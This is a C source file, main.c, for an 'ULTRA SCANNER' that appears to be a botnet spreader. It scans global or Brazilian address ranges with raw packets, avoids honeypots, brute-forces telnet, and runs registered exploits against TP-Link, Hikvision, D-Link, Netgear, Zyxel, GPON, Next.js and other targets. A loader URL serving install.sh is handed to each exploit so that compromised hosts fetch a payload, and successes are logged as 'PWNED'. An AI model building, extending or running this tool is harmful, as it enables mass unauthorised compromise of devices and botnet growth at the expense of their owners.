main.c

#include "config.h"
#include "blackrock.h"
#include "ranges.h"
#include "honeypot.h"
#include "queue.h"
#include "net.h"
#include "sender.h"
#include "receiver.h"
#include "telnet.h"
#include "exploits.h"
#include "output.h"
#include "stats.h"

/* ─── shared globals ─────────────────────────────────────────── */
volatile int     g_stop    = 0;
stats_t          g_stats   = {0};
scanner_config_t g_config  = {0};
uint8_t         *g_honeypot_bitmap = NULL;
uint8_t         *g_seen_bitmap     = NULL;

/* ─── exploit entry table ─────────────────────────────────────── */
typedef struct {
    const char *name;
    int (*detect) (const char *ip, uint16_t port);
    int (*exploit)(const char *ip, uint16_t port,
                   const char *loader, exploit_result_t *r);
    atomic_ullong *stat_counter;
} exploit_entry_t;

/* ─── exploit worker ─────────────────────────────────────────── */
typedef struct {
    int       id;
    volatile int running;
} worker_ctx_t;

static exploit_entry_t g_exploits[15];
static int             g_nexploits = 0;

static void register_exploits(void) {
#define REG(n, det, expl, ctr) do { \
    g_exploits[g_nexploits].name          = n; \
    g_exploits[g_nexploits].detect        = det; \
    g_exploits[g_nexploits].exploit       = expl; \
    g_exploits[g_nexploits].stat_counter  = &g_stats.ctr; \
    g_nexploits++; } while(0)

    REG("TP-Link",   detect_tplink,     exploit_tplink,     cve_tplink);
    REG("Hikvision", detect_hikvision,  exploit_hikvision,  cve_hikvision);
    REG("D-Link",    detect_dlink,      exploit_dlink,      cve_dlink);
    REG("Netgear",   detect_netgear,    exploit_netgear,    cve_netgear);
    REG("Zyxel",     detect_zyxel,      exploit_zyxel,      cve_zyxel);
    REG("Realtek",   detect_realtek,    exploit_realtek,    cve_realtek);
    REG("Cisco",     detect_cisco,      exploit_cisco,      cve_cisco);
    REG("GoAhead",   detect_goahead,    exploit_goahead,    cve_goahead);
    REG("MVPower",   detect_mvpower,    exploit_mvpower,    cve_mvpower);
    REG("Vacron",    detect_vacron,     exploit_vacron,     cve_vacron);
    REG("DVR-Hi3520",detect_dvr_hi3520, exploit_dvr_hi3520, cve_dvr);
    REG("Zhone",     detect_zhone,      exploit_zhone,      cve_zhone);
    REG("Fiber/GPON",detect_fiber_boa,  exploit_fiber_boa,  cve_fiber);
    REG("Next.js",   detect_nextjs,     exploit_nextjs,     cve_nextjs);
#undef REG
}

/* ══════════════════════════════════════════════════════════════
 * Worker thread: pop targets, try telnet + all CVEs
 * ══════════════════════════════════════════════════════════════ */
static void *exploit_worker(void *arg) {
    (void)arg;
    target_t  t;
    char      ip[16];

    while (tqueue_pop(&g_target_queue, &t) == 0) {
        uint32_t ip_hbo = ntohl(t.ip);

        /* skip honeypots (dynamic) */
        if (honeypot_check(ip_hbo)) continue;

        int_to_ip(ip_hbo, ip);
        uint16_t port = t.port;

        /* ── scan-only: just log open port ───────────────────── */
        if (g_config.scan_only) {
            if (!g_config.quiet)
                printf("[OPEN] %s:%u\n", ip, port);
            continue;
        }

        exploit_result_t r;
        int found = 0;

        /* ── 1. Telnet brute (port 23 / 2323) ────────────────── */
        if (port == 23 || port == 2323) {
            if (telnet_brute(ip, port, g_config.loader_url, &r)) {
                if (r.is_honeypot) {
                    honeypot_mark(ip_hbo);
                    atomic_fetch_add(&g_stats.honeypots, 1);
                    continue;
                }
                atomic_fetch_add(&g_stats.telnet_found, 1);
                atomic_fetch_add(&g_stats.exploited,    1);
                if (r.verified) atomic_fetch_add(&g_stats.verified, 1);
                if (!g_config.quiet)
                    printf("[+] TELNET %s:%u user=%s\n",
                           ip, port, r.response_preview);
                output_write(&r);
                found = 1;
            }
        }

        if (found) continue;

        /* ── 2. HTTP exploits (all 13 CVEs) ──────────────────── */
        for (int ei = 0; ei < g_nexploits && !found; ei++) {
            if (!g_exploits[ei].detect(ip, port)) continue;

            /* honeypot double-check after detect */
            if (honeypot_check(ip_hbo)) { found = -1; break; }

            atomic_fetch_add(g_exploits[ei].stat_counter, 1);

            if (g_exploits[ei].exploit(ip, port,
                                        g_config.loader_url, &r)) {
                if (r.is_honeypot) {
                    honeypot_mark(ip_hbo);
                    atomic_fetch_add(&g_stats.honeypots, 1);
                    found = -1; break;
                }
                atomic_fetch_add(&g_stats.exploited, 1);
                if (r.verified)
                    atomic_fetch_add(&g_stats.verified, 1);
                if (!g_config.quiet)
                    printf("[+] PWNED %s:%u %s (%s)\n",
                           ip, port, g_exploits[ei].name, r.cve);
                output_write(&r);
                found = 1;
            }
        }
    }
    return NULL;
}

/* ══════════════════════════════════════════════════════════════
 * Signal handler
 * ══════════════════════════════════════════════════════════════ */
static void sighandler(int sig) {
    (void)sig;
    g_stop = 1;
}

/* ══════════════════════════════════════════════════════════════
 * Help
 * ══════════════════════════════════════════════════════════════ */
static void print_help(const char *prog) {
    printf("Usage: %s [options]\n\n", prog);
    printf("Targeting:\n");
    printf("  -t <cidr>        Target CIDR (e.g. 192.168.1.0/24)\n");
    printf("  -w <file>        Whitelist file (CIDRs, one per line)\n");
    printf("  -b <file>        Blacklist file (CIDRs, one per line)\n");
    printf("  --global         Use built-in global routable ranges (default)\n");
    printf("  --br             Use built-in Brazil ASN ranges\n");
    printf("  --dump-ips       Print IPs that would be scanned and exit\n");
    printf("\nScan:\n");
    printf("  -p <ports>       Ports (default: %s)\n", DEFAULT_PORTS);
    printf("  -r <pps>         Rate in packets/sec (default: %lu)\n", DEFAULT_RATE);
    printf("  -B <bps>         Rate in bits/sec (e.g. 100M, 1G)\n");
    printf("  -M <tcp|udp>     Scan method (default: tcp)\n");
    printf("  -i <iface>       Network interface (auto-detect)\n");
    printf("  -S <ip>          Source IP (auto-detect)\n");
    printf("  -G <mac>         Gateway MAC (auto-detect)\n");
    printf("  -T <n>           Sender threads (default: 4)\n");
    printf("  -R <n>           Receiver threads (default: 1)\n");
    printf("  -c <secs>        Cooldown after scan (default: 5)\n");
    printf("  -d               Dry run (no packets sent)\n");
    printf("\nExploit:\n");
    printf("  -l <url>         Loader URL (default: http://HOST/install.sh)\n");
    printf("  -W <n>           Exploit worker threads (default: 256)\n");
    printf("  --scan-only      Detect open ports only, no exploit\n");
    printf("\nOutput:\n");
    printf("  -o <file>        TXT output (default: %s)\n", DEFAULT_OUTPUT_TXT);
    printf("  -j <file>        JSON output (default: %s)\n", DEFAULT_OUTPUT_JSON);
    printf("  -q               Quiet mode\n");
    printf("  -v               Verbose mode\n");
    printf("  -h               This help\n");
}

static void print_banner(void) {
    printf("\n");
    printf("╔═══════════════════════════════════════════════════════╗\n");
    printf("║     ULTRA SCANNER — 14 vectors, raw PF_PACKET         ║\n");
    printf("║     BlackRock shuffle | Global ranges | Honeypot det. ║\n");
    printf("╚═══════════════════════════════════════════════════════╝\n\n");
}

/* ══════════════════════════════════════════════════════════════
 * CLI parser
 * ══════════════════════════════════════════════════════════════ */
static void parse_args(int argc, char *argv[], scanner_config_t *cfg) {
    static struct option long_opts[] = {
        {"global",       no_argument,       0, 1000},
        {"br",           no_argument,       0, 1001},
        {"dump-ips",     no_argument,       0, 1002},
        {"scan-only",    no_argument,       0, 1003},
        {"probe-args",   required_argument, 0, 1004},
        {"qdisc-bypass", no_argument,       0, 1005},
        {"help",         no_argument,       0, 'h'},
        {0, 0, 0, 0}
    };

    int opt, idx = 0;
    while ((opt = getopt_long(argc, argv,
           "t:p:r:B:M:i:S:G:T:R:c:w:b:l:W:o:j:dvqh",
           long_opts, &idx)) != -1) {
        switch (opt) {
            case 't': cfg->target_cidr      = strdup(optarg); break;
            case 'p': cfg->ports_str         = strdup(optarg); break;
            case 'r': cfg->rate_limit        = parse_scaled_value(optarg); break;
            case 'B': cfg->bandwidth_limit   = parse_scaled_value(optarg); break;
            case 'M':
                if (strcmp(optarg, "udp") == 0)
                    cfg->scan_method = SCAN_METHOD_UDP;
                else
                    cfg->scan_method = SCAN_METHOD_SYN;
                break;
            case 'i': cfg->interface         = strdup(optarg); break;
            case 'S': cfg->src_ip            = ip_to_int(optarg); break;
            case 'G': {
                int m[6];
                if (sscanf(optarg, "%x:%x:%x:%x:%x:%x",
                           &m[0],&m[1],&m[2],&m[3],&m[4],&m[5]) == 6) {
                    for (int i = 0; i < 6; i++)
                        cfg->dst_mac[i] = (uint8_t)m[i];
                    cfg->gateway_set = 1;
                }
                break;
            }
            case 'T': cfg->senders          = atoi(optarg); break;
            case 'R': cfg->receivers        = atoi(optarg); break;
            case 'c': cfg->cooldown_secs    = atoi(optarg); break;
            case 'w': cfg->whitelist_file   = strdup(optarg); break;
            case 'b': cfg->blacklist_file   = strdup(optarg); break;
            case 'l': cfg->loader_url       = strdup(optarg); break;
            case 'W': cfg->exploit_workers  = atoi(optarg); break;
            case 'o': cfg->output_txt       = strdup(optarg); break;
            case 'j': cfg->output_json      = strdup(optarg); break;
            case 'd': cfg->dry_run          = 1; break;
            case 'v': cfg->verbose          = 1; break;
            case 'q': cfg->quiet            = 1; break;
            case 'h': print_help(argv[0]); exit(0);
            case 1000: cfg->use_global_ranges = 1; break;
            case 1001: cfg->use_br_ranges     = 1; break;
            case 1002: cfg->dump_ips          = 1; break;
            case 1003: cfg->scan_only         = 1; break;
            case 1005: cfg->qdisc_bypass      = 1; break;
            default: break;
        }
    }

    if (optind < argc && !cfg->target_cidr)
        cfg->target_cidr = strdup(argv[optind]);
}

/* ══════════════════════════════════════════════════════════════
 * MAIN
 * ══════════════════════════════════════════════════════════════ */
int main(int argc, char *argv[]) {

    /* ── defaults ─────────────────────────────────────────────── */
    g_config.rate_limit      = DEFAULT_RATE;
    g_config.senders         = 4;
    g_config.receivers       = 1;
    g_config.exploit_workers = 256;
    g_config.cooldown_secs   = DEFAULT_COOLDOWN;
    g_config.output_txt      = DEFAULT_OUTPUT_TXT;
    g_config.output_json     = DEFAULT_OUTPUT_JSON;
    g_config.use_global_ranges = 1;
    g_config.loader_url      = "http://127.0.0.1/install.sh";

    parse_args(argc, argv, &g_config);

    if (!g_config.quiet) {
        print_banner();
        printf("[*] Loader : %s\n", g_config.loader_url);
        printf("[*] Ports  : %s\n",
               g_config.ports_str ? g_config.ports_str : DEFAULT_PORTS);
        printf("[*] Workers: %d exploit / %d sender / %d receiver\n",
               g_config.exploit_workers,
               g_config.senders, g_config.receivers);
        printf("[*] Output : %s  %s\n",
               g_config.output_txt, g_config.output_json);
    }

    signal(SIGINT,  sighandler);
    signal(SIGTERM, sighandler);
    signal(SIGPIPE, SIG_IGN);

    /* ── init subsystems ─────────────────────────────────────── */
    register_exploits();
    honeypot_init();

    /* seen-IPs bitmap (512 MiB lazy) */
    g_seen_bitmap = (uint8_t *)calloc(1ULL << 29, 1);
    if (!g_seen_bitmap) {
        fprintf(stderr, "[-] Cannot allocate seen bitmap\n"); return 1;
    }

    if (output_init(g_config.output_txt, g_config.output_json) < 0)
        return 1;

    /* ── resolve interface ───────────────────────────────────── */
    if (!g_config.interface) {
        g_config.interface = malloc(IF_NAMESIZE);
        if (get_default_iface(g_config.interface) < 0) {
            strncpy(g_config.interface, "eth0", IF_NAMESIZE);
        }
    }
    if (get_ifdetails(g_config.interface,
                       &g_config.ifindex, g_config.src_mac) < 0) {
        fprintf(stderr, "[-] Interface %s not found\n", g_config.interface);
        return 1;
    }
    if (g_config.src_ip == 0)
        g_config.src_ip = get_local_ip(g_config.interface);

    if (g_config.src_ip == 0) {
        fprintf(stderr, "[-] Cannot determine source IP\n"); return 1;
    }
    if (!g_config.gateway_set) {
        if (get_gateway_mac(g_config.dst_mac) < 0)
            memset(g_config.dst_mac, 0xFF, 6);
    }

    char src_ip_str[16];
    int_to_ip(g_config.src_ip, src_ip_str);
    if (!g_config.quiet) {
        printf("[*] Source IP  : %s\n", src_ip_str);
        printf("[*] Interface  : %s (idx %d)\n",
               g_config.interface, g_config.ifindex);
        printf("[*] Src MAC    : %02x:%02x:%02x:%02x:%02x:%02x\n",
               g_config.src_mac[0], g_config.src_mac[1], g_config.src_mac[2],
               g_config.src_mac[3], g_config.src_mac[4], g_config.src_mac[5]);
        printf("[*] Gateway MAC: %02x:%02x:%02x:%02x:%02x:%02x\n",
               g_config.dst_mac[0], g_config.dst_mac[1], g_config.dst_mac[2],
               g_config.dst_mac[3], g_config.dst_mac[4], g_config.dst_mac[5]);
    }

    /* ── parse ports ─────────────────────────────────────────── */
    int nports = parse_port_range(
        g_config.ports_str ? g_config.ports_str : DEFAULT_PORTS,
        &g_config.port_ranges);
    if (nports <= 0) {
        fprintf(stderr, "[-] Invalid port range\n"); return 1;
    }
    g_config.num_port_ranges = nports;
    g_config.is_multiport    = (nports > 1);

    /* ── build IP range list ─────────────────────────────────── */
    ip_range_t *active_ranges  = NULL;
    int         num_active     = 0;

    if (g_config.blacklist_file) {
        if (!g_config.quiet)
            printf("[*] Loading blacklist %s\n", g_config.blacklist_file);
        load_range_file(g_config.blacklist_file,
                        &g_blacklist, &g_blacklist_count);
    }
    if (g_config.whitelist_file) {
        if (!g_config.quiet)
            printf("[*] Loading whitelist %s\n", g_config.whitelist_file);
        load_range_file(g_config.whitelist_file,
                        &g_whitelist, &g_whitelist_count);
    }

    /* priority: whitelist > --br > --global > -t CIDR > default global */
    if (g_config.whitelist_file && g_whitelist_count > 0) {
        active_ranges = g_whitelist;
        num_active    = g_whitelist_count;
    } else if (g_config.use_br_ranges) {
        active_ranges = (ip_range_t *)BR_RANGES;
        num_active    = BR_RANGES_COUNT;
    } else if (g_config.use_global_ranges && !g_config.target_cidr) {
        active_ranges = (ip_range_t *)GLOBAL_RANGES;
        num_active    = GLOBAL_RANGES_COUNT;
    } else if (g_config.target_cidr) {
        num_active = parse_ip_range(g_config.target_cidr, &active_ranges);
        if (num_active <= 0) {
            fprintf(stderr, "[-] Invalid CIDR: %s\n", g_config.target_cidr);
            fprintf(stderr, "    (Did you forget a space? e.g. -r 90k -l URL)\n");
            return 1;
        }
    } else {
        /* fallback: global routable ranges */
        active_ranges = (ip_range_t *)GLOBAL_RANGES;
        num_active    = GLOBAL_RANGES_COUNT;
    }

    if (num_active <= 0 || !active_ranges) {
        fprintf(stderr, "[-] No valid IP ranges\n"); return 1;
    }

    uint64_t total_ips  = calculate_total_ips(active_ranges, num_active);
    uint64_t total_ports = 0;
    for (int i = 0; i < nports; i++)
        total_ports += g_config.port_ranges[i].end
                     - g_config.port_ranges[i].start + 1;
    uint64_t total_pkts = total_ips * total_ports;
    g_config.total_packets = total_pkts;
    g_stats.total_packets  = total_pkts;

    if (!g_config.quiet)
        printf("[*] Targets: %llu IPs × %llu ports = %llu packets\n",
               (unsigned long long)total_ips,
               (unsigned long long)total_ports,
               (unsigned long long)total_pkts);

    /* ── dump-ips mode ───────────────────────────────────────── */
    if (g_config.dump_ips) {
        char buf[16];
        for (int ri = 0; ri < num_active; ri++) {
            for (uint32_t ip = active_ranges[ri].start;
                 ip <= active_ranges[ri].end; ip++) {
                if (!is_blacklisted(ip) && !honeypot_cidr_check(ip)) {
                    int_to_ip(ip, buf);
                    printf("%s\n", buf);
                }
            }
        }
        return 0;
    }

    /* ── rate limit from bandwidth ───────────────────────────── */
    if (g_config.bandwidth_limit > 0) {
        g_config.rate_limit =
            (uint64_t)(g_config.bandwidth_limit / (84 * 8));
        if (g_config.rate_limit == 0) g_config.rate_limit = 1;
    }

    /* ── init BlackRock ──────────────────────────────────────── */
    blackrock_init(&g_config.blackrock, total_pkts,
                   (uint64_t)time(NULL), 4);

    /* ── dry run ─────────────────────────────────────────────── */
    if (g_config.dry_run) {
        printf("[*] Dry run — no packets sent\n");
        return 0;
    }

    /* ── init target queue ───────────────────────────────────── */
    if (tqueue_init(&g_target_queue, TARGET_QUEUE_SIZE) < 0) {
        fprintf(stderr, "[-] Queue alloc failed\n"); return 1;
    }

    g_stats.start_time = now_sec();

    /* ── start stats thread ──────────────────────────────────── */
    static int stats_running = 1;
    static stats_arg_t sa;
    sa.s = &g_stats; sa.running = &stats_running;
    pthread_t stats_tid;
    pthread_create(&stats_tid, NULL, stats_thread, &sa);

    /* ── start exploit workers ───────────────────────────────── */
    int nw = g_config.exploit_workers;
    if (nw < 1)  nw = 1;
    if (nw > MAX_EXPLOIT_WORKERS) nw = MAX_EXPLOIT_WORKERS;

    pthread_t *worker_tids = malloc(sizeof(pthread_t) * nw);
    for (int i = 0; i < nw; i++)
        pthread_create(&worker_tids[i], NULL, exploit_worker, NULL);

    /* ── start receiver threads ──────────────────────────────── */
    int nr = g_config.receivers;
    if (nr < 1) nr = 1;
    if (nr > MAX_RECEIVER_THREADS) nr = MAX_RECEIVER_THREADS;

    pthread_t recv_tids[MAX_RECEIVER_THREADS];
    thread_context_t recv_ctxs[MAX_RECEIVER_THREADS];
    memset(recv_ctxs, 0, sizeof(recv_ctxs));

    for (int i = 0; i < nr; i++) {
        recv_ctxs[i].thread_id = i;
        recv_ctxs[i].config    = &g_config;
        recv_ctxs[i].stats     = &g_stats;
        recv_ctxs[i].running   = 1;
        recv_ctxs[i].src_ip    = g_config.src_ip;
        pthread_create(&recv_tids[i], NULL, receiver_thread, &recv_ctxs[i]);
    }

    /* ── start sender threads ────────────────────────────────── */
    int ns = g_config.senders;
    if (ns < 1) ns = 1;
    if (ns > MAX_SENDER_THREADS) ns = MAX_SENDER_THREADS;

    pthread_t send_tids[MAX_SENDER_THREADS];
    thread_context_t send_ctxs[MAX_SENDER_THREADS];
    memset(send_ctxs, 0, sizeof(send_ctxs));

    ip_per_thread(active_ranges, num_active,
                  g_config.port_ranges, nports,
                  send_ctxs, ns, total_pkts);

    for (int i = 0; i < ns; i++) {
        send_ctxs[i].thread_id    = i;
        send_ctxs[i].config       = &g_config;
        send_ctxs[i].stats        = &g_stats;
        send_ctxs[i].running      = 1;
        send_ctxs[i].src_ip       = g_config.src_ip;
        send_ctxs[i].src_port     = (uint16_t)(50000 + i);
        send_ctxs[i].current_state= (uint32_t)time(NULL) ^ (uint32_t)i;
        gettimeofday(&send_ctxs[i].last_send_time, NULL);

        /* PF_PACKET socket */
        send_ctxs[i].socket_fd = socket(PF_PACKET, SOCK_RAW,
                                         htons(ETH_P_ALL));
        if (send_ctxs[i].socket_fd < 0) {
            perror("PF_PACKET sender socket"); return 1;
        }
        memset(&send_ctxs[i].sll, 0, sizeof(send_ctxs[i].sll));
        send_ctxs[i].sll.sll_family   = AF_PACKET;
        send_ctxs[i].sll.sll_ifindex  = g_config.ifindex;
        send_ctxs[i].sll.sll_halen    = ETH_ALEN;
        memcpy(send_ctxs[i].sll.sll_addr, g_config.dst_mac, ETH_ALEN);
        if (bind(send_ctxs[i].socket_fd,
                 (struct sockaddr *)&send_ctxs[i].sll,
                 sizeof(send_ctxs[i].sll)) < 0) {
            perror("bind sender"); return 1;
        }

#ifdef USE_PFRING_ZC
        pthread_create(&send_tids[i], NULL,
                       pfring_zc_sender_thread, &send_ctxs[i]);
#else
        pthread_create(&send_tids[i], NULL,
                       sender_thread, &send_ctxs[i]);
#endif
    }

    /* ── wait for senders to finish ──────────────────────────── */
    for (int i = 0; i < ns; i++) {
        pthread_join(send_tids[i], NULL);
        close(send_ctxs[i].socket_fd);
    }

    /* ── cooldown ─────────────────────────────────────────────── */
    for (int i = 0; i < g_config.cooldown_secs && !g_stop; i++) {
        if (!g_config.quiet)
            printf("\r[*] Cooldown %d/%d  ",
                   i+1, g_config.cooldown_secs);
        sleep(1);
    }
    if (!g_config.quiet) printf("\n");

    /* ── stop receivers ──────────────────────────────────────── */
    for (int i = 0; i < nr; i++) {
        recv_ctxs[i].running = 0;
        pthread_join(recv_tids[i], NULL);
    }

    /* ── drain + stop exploit workers ───────────────────────── */
    tqueue_close(&g_target_queue);
    for (int i = 0; i < nw; i++)
        pthread_join(worker_tids[i], NULL);
    free(worker_tids);

    /* ── stop stats thread ───────────────────────────────────── */
    stats_running = 0;
    pthread_join(stats_tid, NULL);

    /* ── final output ────────────────────────────────────────── */
    output_finish();
    stats_print_final(&g_stats, &g_config);

    /* ── cleanup ─────────────────────────────────────────────── */
    tqueue_free(&g_target_queue);
    honeypot_free();
    if (g_seen_bitmap)    free(g_seen_bitmap);

    return 0;
}